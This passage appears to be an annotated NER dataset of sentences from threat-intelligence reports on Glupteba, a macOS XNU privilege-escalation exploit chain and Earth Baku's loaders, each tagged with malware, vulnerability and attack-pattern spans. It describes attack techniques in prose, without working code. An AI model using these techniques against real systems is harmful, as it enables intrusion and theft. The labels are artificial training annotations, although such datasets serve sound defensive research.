commands to the attackers.","entities":[{"id":45428,"label":"REGISTRYKEY","start_offset":59,"end_offset":95},{"id":45430,"label":"malware","start_offset":442,"end_offset":448},{"id":6702,"label":"REGISTRYKEY","start_offset":387,"end_offset":435},{"id":47329,"label":"location","start_offset":512,"end_offset":520}],"relations":[],"Comments":[]} +{"id":2257,"text":"It was most likely used to establish a foothold, perform reconnaissance and deploy further malware into the victim’s network.","entities":[],"relations":[],"Comments":[]} +{"id":2258,"text":"While the malware lacked a large set of capabilities, it had a wealth of interesting and advanced features, such as the custom encryption\/encoding witnessed in the network traffic, the use of process hollowing against a randomly selected Microsoft Windows binary, and the downloading component that attempted to bypass network security measures by modifying the executable header.","entities":[{"id":47331,"label":"SOFTWARE","start_offset":238,"end_offset":255},{"id":47330,"label":"attack-pattern","start_offset":192,"end_offset":209}],"relations":[],"Comments":[]} +{"id":2259,"text":" We created the AutoFocus tag TDrop2 to identify samples of this new variant and added known C2 domains and hash values to the Threat Prevention product set.","entities":[{"id":45431,"label":"malware","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]} +{"id":2260,"text":"At this time, WildFire is able to correctly identify the samples associated with this campaign as malicious.","entities":[{"id":47332,"label":"SOFTWARE","start_offset":14,"end_offset":22}],"relations":[],"Comments":[]} +{"id":2261,"text":" Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 ","entities":[],"relations":[],"Comments":[]} +{"id":2262,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[],"relations":[],"Comments":[]} +{"id":2263,"text":" Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]} +{"id":2264,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[{"id":47333,"label":"TIME","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]} +{"id":2265,"text":"It was last updated on May 12, 2022.","entities":[{"id":45432,"label":"TIME","start_offset":23,"end_offset":35}],"relations":[],"Comments":[]} +{"id":2267,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":47335,"label":"identity","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]} +{"id":2268,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[],"relations":[],"Comments":[]} +{"id":2269,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":6747,"label":"malware","start_offset":73,"end_offset":81},{"id":47336,"label":"identity","start_offset":20,"end_offset":26},{"id":47337,"label":"SOFTWARE","start_offset":118,"end_offset":125}],"relations":[],"Comments":[]} +{"id":2270,"text":"We believe this action will have a significant impact on Glupteba's operations.","entities":[{"id":47338,"label":"malware","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]} +{"id":2271,"text":"However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.","entities":[{"id":45434,"label":"malware","start_offset":26,"end_offset":34},{"id":45433,"label":"SOFTWARE","start_offset":164,"end_offset":171}],"relations":[],"Comments":[]} +{"id":2272,"text":"Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.","entities":[{"id":47339,"label":"malware","start_offset":0,"end_offset":8},{"id":47343,"label":"attack-pattern","start_offset":57,"end_offset":96},{"id":47340,"label":"SOFTWARE","start_offset":144,"end_offset":151},{"id":47341,"label":"attack-pattern","start_offset":21,"end_offset":55},{"id":47342,"label":"attack-pattern","start_offset":98,"end_offset":133}],"relations":[],"Comments":[]} +{"id":2273,"text":"TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.","entities":[{"id":47345,"label":"location","start_offset":71,"end_offset":73},{"id":47344,"label":"identity","start_offset":0,"end_offset":3},{"id":47347,"label":"location","start_offset":82,"end_offset":88},{"id":47346,"label":"location","start_offset":75,"end_offset":80},{"id":47348,"label":"location","start_offset":93,"end_offset":107}],"relations":[],"Comments":[]} +{"id":2274,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":45435,"label":"malware","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]} +{"id":2275,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":6771,"label":"malware","start_offset":70,"end_offset":78}],"relations":[],"Comments":[]} +{"id":2276,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":6773,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]} +{"id":2277,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.","entities":[{"id":45437,"label":"DOMAIN","start_offset":95,"end_offset":114},{"id":45436,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} +{"id":2278,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":6777,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]} +{"id":2279,"text":"These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.","entities":[{"id":47349,"label":"DOMAIN","start_offset":90,"end_offset":101},{"id":47350,"label":"SOFTWARE","start_offset":266,"end_offset":276}],"relations":[],"Comments":[]} +{"id":2280,"text":"This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":45441,"label":"identity","start_offset":16,"end_offset":19},{"id":45438,"label":"malware","start_offset":99,"end_offset":107},{"id":45439,"label":"identity","start_offset":48,"end_offset":87},{"id":45440,"label":"SOFTWARE","start_offset":127,"end_offset":142}],"relations":[],"Comments":[]} +{"id":2281,"text":"We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.","entities":[{"id":47353,"label":"SOFTWARE","start_offset":130,"end_offset":140},{"id":47351,"label":"SOFTWARE","start_offset":28,"end_offset":39},{"id":47352,"label":"malware","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]} +{"id":2282,"text":"Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.","entities":[{"id":47354,"label":"SOFTWARE","start_offset":80,"end_offset":100}],"relations":[],"Comments":[]} +{"id":2283,"text":"In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.","entities":[{"id":45443,"label":"malware","start_offset":136,"end_offset":144},{"id":45442,"label":"identity","start_offset":113,"end_offset":123}],"relations":[],"Comments":[]} +{"id":2284,"text":"During this time, an additional 130 Google accounts associated with this operation were terminated.","entities":[{"id":47355,"label":"identity","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]} +{"id":2285,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":47357,"label":"identity","start_offset":77,"end_offset":83},{"id":47356,"label":"malware","start_offset":179,"end_offset":187},{"id":47358,"label":"location","start_offset":154,"end_offset":160}],"relations":[{"id":314,"from_id":47356,"to_id":47358,"type":"located-at"}],"Comments":[]} +{"id":2286,"text":"Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.","entities":[{"id":45444,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]} +{"id":2287,"text":"While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.","entities":[{"id":47360,"label":"identity","start_offset":54,"end_offset":57},{"id":47359,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]} +{"id":2288,"text":"The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.","entities":[],"relations":[],"Comments":[]} +{"id":2289,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[{"id":45445,"label":"SOFTWARE","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]} +{"id":2290,"text":"In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses: The following 32 byte AES keys for decryption are hard coded in the binaries: The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.","entities":[],"relations":[],"Comments":[]} +{"id":2291,"text":"The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain","entities":[],"relations":[],"Comments":[]} +{"id":2292,"text":"Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":45447,"label":"TIME","start_offset":77,"end_offset":81},{"id":45446,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]} +{"id":2293,"text":"Recent domains used for command and control:","entities":[],"relations":[],"Comments":[]} +{"id":2294,"text":" Recent sha256 hashes of malware samples:","entities":[],"relations":[],"Comments":[]} +{"id":2295,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.","entities":[{"id":45448,"label":"TIME","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]} +{"id":2296,"text":"It was last updated on February 7, 2022.","entities":[{"id":47362,"label":"TIME","start_offset":23,"end_offset":39}],"relations":[],"Comments":[]} +{"id":2297,"text":"To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[{"id":47363,"label":"identity","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]} +{"id":2298,"text":"In late August 2021, TAG discovered watering hole attacks targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.","entities":[{"id":45449,"label":"TIME","start_offset":8,"end_offset":19},{"id":45451,"label":"attack-pattern","start_offset":36,"end_offset":49},{"id":45453,"label":"identity","start_offset":134,"end_offset":173},{"id":45452,"label":"location","start_offset":80,"end_offset":90},{"id":45450,"label":"identity","start_offset":21,"end_offset":24}],"relations":[{"id":97,"from_id":45453,"to_id":45451,"type":"targets"},{"id":96,"from_id":45451,"to_id":45452,"type":"targets"}],"Comments":[]} +{"id":2299,"text":"The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.","entities":[{"id":47364,"label":"vulnerability","start_offset":68,"end_offset":82},{"id":47365,"label":"SOFTWARE","start_offset":97,"end_offset":111},{"id":47366,"label":"vulnerability","start_offset":28,"end_offset":66}],"relations":[{"id":315,"from_id":47365,"to_id":47364,"type":"has"}],"Comments":[]} +{"id":2300,"text":"As is our policy, we quickly reported this 0-day to the vendor (Apple) and a patch was released to protect users from these attacks.","entities":[{"id":47367,"label":"identity","start_offset":64,"end_offset":69}],"relations":[],"Comments":[]} +{"id":2301,"text":"Based on our findings, we believe this threat actor to be a well-resourced group, likely state backed, with access to their own software engineering team based on the quality of the payload code.","entities":[],"relations":[],"Comments":[]} +{"id":2302,"text":"In this blog we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks.","entities":[],"relations":[],"Comments":[]} +{"id":2303,"text":" The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server—one for iOS and the other for macOS.","entities":[{"id":47368,"label":"SOFTWARE","start_offset":127,"end_offset":130},{"id":47369,"label":"SOFTWARE","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]} +{"id":2304,"text":"iOS Exploits","entities":[{"id":45455,"label":"SOFTWARE","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]} +{"id":2305,"text":"The iOS exploit chain used a framework based on Ironsquirrel to encrypt exploits delivered to the victim's browser.","entities":[{"id":6866,"label":"malware","start_offset":48,"end_offset":60},{"id":47370,"label":"SOFTWARE","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]} +{"id":2306,"text":"We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.","entities":[{"id":47373,"label":"SOFTWARE","start_offset":130,"end_offset":136},{"id":47371,"label":"SOFTWARE","start_offset":36,"end_offset":39},{"id":47372,"label":"vulnerability","start_offset":82,"end_offset":95}],"relations":[],"Comments":[]} +{"id":2307,"text":"macOS Exploits","entities":[{"id":45454,"label":"SOFTWARE","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]} +{"id":2308,"text":"The macOS exploits did not use the same framework as iOS ones.","entities":[{"id":47374,"label":"SOFTWARE","start_offset":4,"end_offset":9},{"id":47375,"label":"SOFTWARE","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} +{"id":2309,"text":"The landing page contained a simple HTML page loading two scripts—one for Capstone.js and another for the exploit chain.","entities":[{"id":47396,"label":"SOFTWARE","start_offset":74,"end_offset":85}],"relations":[],"Comments":[]} +{"id":2310,"text":"The parameter rid is a global counter which records the number of exploitation attempts.","entities":[],"relations":[],"Comments":[]} +{"id":2311,"text":"This number was in the 200s when we obtained the exploit chain.","entities":[],"relations":[],"Comments":[]} +{"id":2312,"text":"While the javascript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina.","entities":[{"id":47376,"label":"SOFTWARE","start_offset":85,"end_offset":105},{"id":47377,"label":"SOFTWARE","start_offset":109,"end_offset":125},{"id":47378,"label":"SOFTWARE","start_offset":233,"end_offset":239},{"id":47379,"label":"SOFTWARE","start_offset":318,"end_offset":326}],"relations":[],"Comments":[]} +{"id":2313,"text":"The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.","entities":[{"id":45456,"label":"vulnerability","start_offset":55,"end_offset":68},{"id":45462,"label":"SOFTWARE","start_offset":178,"end_offset":181},{"id":45460,"label":"TIME","start_offset":210,"end_offset":223},{"id":45461,"label":"attack-pattern","start_offset":148,"end_offset":174},{"id":45457,"label":"SOFTWARE","start_offset":37,"end_offset":43},{"id":45458,"label":"TIME","start_offset":90,"end_offset":101},{"id":45459,"label":"vulnerability","start_offset":183,"end_offset":197}],"relations":[{"id":98,"from_id":45456,"to_id":45457,"type":"has"},{"id":99,"from_id":45459,"to_id":45462,"type":"has"}],"Comments":[]} +{"id":2314,"text":" Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.","entities":[{"id":47386,"label":"vulnerability","start_offset":32,"end_offset":35},{"id":47387,"label":"vulnerability","start_offset":91,"end_offset":94},{"id":47383,"label":"SOFTWARE","start_offset":25,"end_offset":31},{"id":47385,"label":"SOFTWARE","start_offset":61,"end_offset":74}],"relations":[],"Comments":[]} +{"id":2315,"text":"To verify this hypothesis, we ran git bisect and determined it was fixed in this commit.","entities":[],"relations":[],"Comments":[]} +{"id":2316,"text":"Capstone.js","entities":[{"id":45463,"label":"SOFTWARE","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]} +{"id":2317,"text":"It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.","entities":[{"id":47388,"label":"SOFTWARE","start_offset":37,"end_offset":48},{"id":47391,"label":"SOFTWARE","start_offset":119,"end_offset":127},{"id":47390,"label":"SOFTWARE","start_offset":64,"end_offset":94}],"relations":[],"Comments":[]} +{"id":2318,"text":"The exploit authors primarily used it to search for the addresses of dlopen and dlsym in memory.","entities":[],"relations":[],"Comments":[]} +{"id":2319,"text":"Once the embedded Mach-O is loaded, the dlopen and dlsym addresses found using Capstone.js are used to patch the Mach-O loaded in memory.","entities":[{"id":47393,"label":"SOFTWARE","start_offset":79,"end_offset":90}],"relations":[],"Comments":[]} +{"id":2320,"text":"With the Capstone.js configured for X86-64 and not ARM, we can also derive the target hardware is Intel-based Macs.","entities":[{"id":47394,"label":"SOFTWARE","start_offset":9,"end_offset":20}],"relations":[],"Comments":[]} +{"id":2321,"text":"Embedded Mach-O","entities":[],"relations":[],"Comments":[]} +{"id":2322,"text":"After the WebKit RCE succeeds, an embedded Mach-O binary is loaded into memory, patched, and run.","entities":[{"id":47397,"label":"SOFTWARE","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]} +{"id":2323,"text":"Upon analysis, we realized this binary contained code which could escape the Safari sandbox, elevate privileges, and download a second stage from the C2.","entities":[{"id":47398,"label":"SOFTWARE","start_offset":77,"end_offset":83}],"relations":[],"Comments":[]} +{"id":2324,"text":"Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge.","entities":[],"relations":[],"Comments":[]} +{"id":2325,"text":"It had to be extracted and converted into binary from a Uint32Array.","entities":[],"relations":[],"Comments":[]} +{"id":2326,"text":"Then the extracted binary was heavily obfuscated with a relatively tedious encoding mechanism--each string is XOR encoded with a different key.","entities":[],"relations":[],"Comments":[]} +{"id":2327,"text":"Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary.","entities":[],"relations":[],"Comments":[]} +{"id":2328,"text":"There were a lot of strings and decoding them manually would have taken a long time so we wrote a short Python script to make quick work of the obfuscation.","entities":[],"relations":[],"Comments":[]} +{"id":2329,"text":"The script parsed the Mach-O at each section where the strings were located, then decoded the strings with their respective XOR keys, and patched the binary with the resulting strings.","entities":[],"relations":[],"Comments":[]} +{"id":2330,"text":"Once we had all of the strings decoded, it was time to figure out what capabilities the binary had.","entities":[],"relations":[],"Comments":[]} +{"id":2331,"text":"There was code to download a file from a C2 but we did not come across any URL strings in the Mach-O so we checked the javascript and saw there were two arguments passed when the binary is run–the url for the payload and its size","entities":[],"relations":[],"Comments":[]} +{"id":2332,"text":"After downloading the payload, it removes the quarantine attribute of the file to bypass Gatekeeper.","entities":[],"relations":[],"Comments":[]} +{"id":2333,"text":"It then elevated privileges to install the payload.","entities":[],"relations":[],"Comments":[]} +{"id":2334,"text":"day or 0-day?","entities":[],"relations":[],"Comments":[]} +{"id":2335,"text":"Before further analyzing how the exploit elevated privileges, we needed to figure out if we were dealing with an N-day or a 0-day vulnerability.","entities":[],"relations":[],"Comments":[]} +{"id":2336,"text":"An N-day is a known vulnerability with a publicly available patch.","entities":[],"relations":[],"Comments":[]} +{"id":2337,"text":"Threat actors have used N-days shortly after a patch is released to capitalize on the patching delay of their targets.","entities":[],"relations":[],"Comments":[]} +{"id":2338,"text":"In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.","entities":[],"relations":[],"Comments":[]} +{"id":2339,"text":"Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment.","entities":[],"relations":[],"Comments":[]} +{"id":2340,"text":"It needed the address of dlopen and dlsym patched after the binary was loaded into memory.","entities":[],"relations":[],"Comments":[]} +{"id":2341,"text":"These two functions are used in conjunction to dynamically load a shared object into memory and retrieve the address of a symbol from it.","entities":[],"relations":[],"Comments":[]} +{"id":2342,"text":"They are the equivalent of LoadLibrary and GetProcAddress in Windows.","entities":[{"id":47399,"label":"SOFTWARE","start_offset":61,"end_offset":68}],"relations":[],"Comments":[]} +{"id":2343,"text":"To run the exploit in our virtual environment, we decided to write a loader in Python which did the following: For our payload, we wrote a simple bash script which runs id and pipes the result to a file in \/tmp.","entities":[],"relations":[],"Comments":[]} +{"id":2344,"text":"The result of the id command would tell us whether our script was run as a regular user or as root.","entities":[],"relations":[],"Comments":[]} +{"id":2345,"text":"Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain.","entities":[{"id":47400,"label":"SOFTWARE","start_offset":90,"end_offset":106}],"relations":[],"Comments":[]} +{"id":2346,"text":"The exploit worked and ran our bash script as root.","entities":[],"relations":[],"Comments":[]} +{"id":2347,"text":"We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again.","entities":[{"id":47401,"label":"TIME","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]} +{"id":2348,"text":"It still worked.","entities":[],"relations":[],"Comments":[]} +{"id":2349,"text":"We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception.","entities":[{"id":45465,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]} +{"id":2350,"text":"The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless.","entities":[{"id":47405,"label":"SOFTWARE","start_offset":64,"end_offset":71},{"id":47404,"label":"identity","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]} +{"id":2351,"text":"Since Apple still supports Catalina and pushes security updates for it, we decided to take a deeper look into this exploit.","entities":[{"id":47406,"label":"identity","start_offset":6,"end_offset":11},{"id":47407,"label":"SOFTWARE","start_offset":27,"end_offset":35}],"relations":[],"Comments":[]} +{"id":2352,"text":"Elevating Privileges to Root The Mach-O was calling a lot of undocumented functions as well as XPC calls to mach_msg with a MACH_SEND_SYNC_OVERRIDE flag.","entities":[],"relations":[],"Comments":[]} +{"id":2353,"text":"This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.","entities":[{"id":47408,"label":"SOFTWARE","start_offset":46,"end_offset":49},{"id":47409,"label":"identity","start_offset":88,"end_offset":107},{"id":47410,"label":"identity","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]} +{"id":2354,"text":"Beer was able to quickly recognize this exploit as a variant of an earlier port type confusion vulnerability he analyzed in the XNU kernel (CVE-2020-27932).","entities":[{"id":47411,"label":"SOFTWARE","start_offset":128,"end_offset":138},{"id":47412,"label":"vulnerability","start_offset":140,"end_offset":154}],"relations":[{"id":318,"from_id":47412,"to_id":47411,"type":"has"}],"Comments":[]} +{"id":2355,"text":"Furthermore, it seems this exact exploit was presented by Pangu Lab in a public talk at zer0con21 in April 2021 and Mobile Security Conference (MOSEC) in July 2021.","entities":[{"id":45470,"label":"identity","start_offset":58,"end_offset":67},{"id":45468,"label":"identity","start_offset":116,"end_offset":150},{"id":45469,"label":"TIME","start_offset":154,"end_offset":163},{"id":45466,"label":"identity","start_offset":88,"end_offset":97},{"id":45467,"label":"TIME","start_offset":101,"end_offset":111}],"relations":[],"Comments":[]} +{"id":2356,"text":"In exploiting this port type confusion vulnerability, the exploit authors were able to change the mach port type from IKOT_NAMED_ENTRY to a more privileged port type like IKOT_HOST_SECURITY allowing them to forge their own sec_token and audit_token, and IKOT_HOST_PRIV enabling them to spoof messages to kuncd. After gaining root, the downloaded payload is loaded and run in the background on the victim's machine via launchtl.","entities":[],"relations":[],"Comments":[]} +{"id":2357,"text":"The payload seems to be a product of extensive software engineering.","entities":[],"relations":[],"Comments":[]} +{"id":2358,"text":"It uses a publish-subscribe model via a Data Distribution Service (DDS) framework for communicating with the C2.","entities":[{"id":47413,"label":"SOFTWARE","start_offset":40,"end_offset":71}],"relations":[],"Comments":[]} +{"id":2359,"text":"It also has several components, some of which appear to be configured as modules.","entities":[],"relations":[],"Comments":[]} +{"id":2360,"text":"For example, the payload we obtained contained a kernel module for capturing keystrokes.","entities":[],"relations":[],"Comments":[]} +{"id":2361,"text":"There are also other functionalities built-in to the components which were not directly accessed from the binaries included in the payload but may be used by additional stages which can be downloaded onto the victim's machine.","entities":[],"relations":[],"Comments":[]} +{"id":2362,"text":"Notable features for this backdoor include: Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.","entities":[],"relations":[],"Comments":[]} +{"id":2363,"text":"We continue to collaborate with internal teams like Google Safe Browsing to block domains and IPs used for exploit delivery and industry partners like Apple to mitigate vulnerabilities.","entities":[{"id":47414,"label":"SOFTWARE","start_offset":52,"end_offset":72},{"id":47415,"label":"identity","start_offset":151,"end_offset":156}],"relations":[],"Comments":[]} +{"id":2364,"text":"We are appreciative of Apple’s quick response and patching of this critical vulnerability.","entities":[{"id":47416,"label":"identity","start_offset":23,"end_offset":28}],"relations":[],"Comments":[]} +{"id":2365,"text":"For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).","entities":[{"id":47418,"label":"vulnerability","start_offset":183,"end_offset":197},{"id":47419,"label":"SOFTWARE","start_offset":149,"end_offset":155},{"id":47417,"label":"vulnerability","start_offset":164,"end_offset":178}],"relations":[{"id":319,"from_id":47419,"to_id":47417,"type":"has"},{"id":320,"from_id":47419,"to_id":47418,"type":"has"}],"Comments":[]} +{"id":2366,"text":"That campaign is not connected to the one described in today’s post.","entities":[],"relations":[],"Comments":[]} +{"id":2367,"text":" Delivery URLs Javascript Sandbox escape \/ LPE Backdoor C2","entities":[],"relations":[],"Comments":[]} +{"id":2368,"text":"We have uncovered a cyberespionage campaign being perpetrated by Earth Baku, an advanced persistent threat (APT) group with a known history of carrying out cyberattacks under the alias APT41.","entities":[{"id":47423,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":47424,"label":"threat-actor","start_offset":65,"end_offset":75}],"relations":[{"id":321,"from_id":47424,"to_id":47423,"type":"duplicate-of"}],"Comments":[]} +{"id":2369,"text":"This is not the group’s first foray into cyberespionage, and its long list of past cybercrimes also includes ransomware and cryptocurrency mining attacks.","entities":[],"relations":[],"Comments":[]} +{"id":2370,"text":"Earth Baku deploys its ongoing campaign, which can be traced to as far back as July 2020, through multiple attack vectors that are designed based on different exploits or the infrastructure of its targeted victim's environment: • SQL injection to upload a malicious file • Installment through InstallUtil.exe in a scheduled task • Possibly a malicious link (LNK) file sent as an email attachment • Exploitation of the ProxyLogon vulnerability CVE-2021-26855 to upload a China Chopper web shell This campaign uses previously unidentified shellcode loaders, which we have named StealthVector and StealthMutant, and a backdoor, which we have dubbed ScrambleCross.","entities":[{"id":45480,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":45472,"label":"vulnerability","start_offset":444,"end_offset":458},{"id":45474,"label":"malware","start_offset":578,"end_offset":591},{"id":45475,"label":"malware","start_offset":596,"end_offset":609},{"id":45476,"label":"malware","start_offset":648,"end_offset":661},{"id":45477,"label":"TIME","start_offset":79,"end_offset":88},{"id":45478,"label":"FILEPATH","start_offset":294,"end_offset":309},{"id":45479,"label":"vulnerability","start_offset":419,"end_offset":429},{"id":7033,"label":"attack-pattern","start_offset":231,"end_offset":244},{"id":7034,"label":"attack-pattern","start_offset":315,"end_offset":329},{"id":7036,"label":"malware","start_offset":471,"end_offset":484}],"relations":[{"id":100,"from_id":45479,"to_id":45472,"type":"duplicate-of"},{"id":323,"from_id":45480,"to_id":7033,"type":"uses"},{"id":324,"from_id":45480,"to_id":7034,"type":"uses"}],"Comments":[]} +{"id":2371,"text":"Earth Baku has developed these new malware tools to facilitate targeted attacks on public and private entities alike in specific industries that are located in the Indo-Pacific region.","entities":[{"id":47426,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":47427,"label":"location","start_offset":164,"end_offset":176}],"relations":[],"Comments":[]} +{"id":2373,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]} +{"id":2374,"text":"Countries affected by Earth Baku’s new campaign Source: Trend Micro™ Smart Protection Network™ infrastructure StealthVector","entities":[{"id":47434,"label":"threat-actor","start_offset":22,"end_offset":32},{"id":47436,"label":"malware","start_offset":110,"end_offset":123},{"id":47435,"label":"SOFTWARE","start_offset":56,"end_offset":94}],"relations":[],"Comments":[]} +{"id":2375,"text":"We initially observed StealthVector, a shellcode loader written in C\/C++, in October 2020.","entities":[{"id":47437,"label":"malware","start_offset":22,"end_offset":35},{"id":47438,"label":"TIME","start_offset":77,"end_offset":89}],"relations":[],"Comments":[]} +{"id":2376,"text":"StealthVector is designed with various configurable features that make it easy for malicious actors to modify and tailor it to their needs, including a feature that disables Event Tracing for Windows (ETW), allowing the malware to run in stealth mode.","entities":[{"id":45481,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]} +{"id":2377,"text":"This loader can stealthily run its payload in various ways, such as using the CreateThread function, bypassing Microsoft’s Control Flow Guard (CFG), module stomping, and phantom dynamic link library (DLL) hollowing.","entities":[{"id":47439,"label":"SOFTWARE","start_offset":111,"end_offset":147}],"relations":[],"Comments":[]} +{"id":2378,"text":"StealthMutant Like StealthVector, StealthMutant, which supports both 32-bit and 64-bit operating systems, can disable ETW.","entities":[{"id":47440,"label":"malware","start_offset":0,"end_offset":13},{"id":47442,"label":"malware","start_offset":34,"end_offset":47},{"id":47441,"label":"malware","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]} +{"id":2379,"text":"This loader, written in C#, has been used by malicious actors since July 2020.","entities":[{"id":45482,"label":"TIME","start_offset":68,"end_offset":77}],"relations":[],"Comments":[]} +{"id":2380,"text":"Many of the StealthMutant samples we have analyzed use AES-256-ECB for decryption; alternatively, an earlier variant of the loader uses XOR.","entities":[{"id":47443,"label":"malware","start_offset":12,"end_offset":25}],"relations":[],"Comments":[]} +{"id":2381,"text":"After its payload is decrypted, StealthMutant performs process hollowing to execute its payload in a remote process.","entities":[{"id":7081,"label":"attack-pattern","start_offset":55,"end_offset":72},{"id":47444,"label":"malware","start_offset":32,"end_offset":45}],"relations":[{"id":325,"from_id":47444,"to_id":7081,"type":"uses"}],"Comments":[]} +{"id":2382,"text":"ScrambleCross","entities":[{"id":45483,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]} +{"id":2383,"text":"Both StealthMutant and StealthVector contain a payload of either the Cobalt Strike beacon or ScrambleCross, a newly discovered 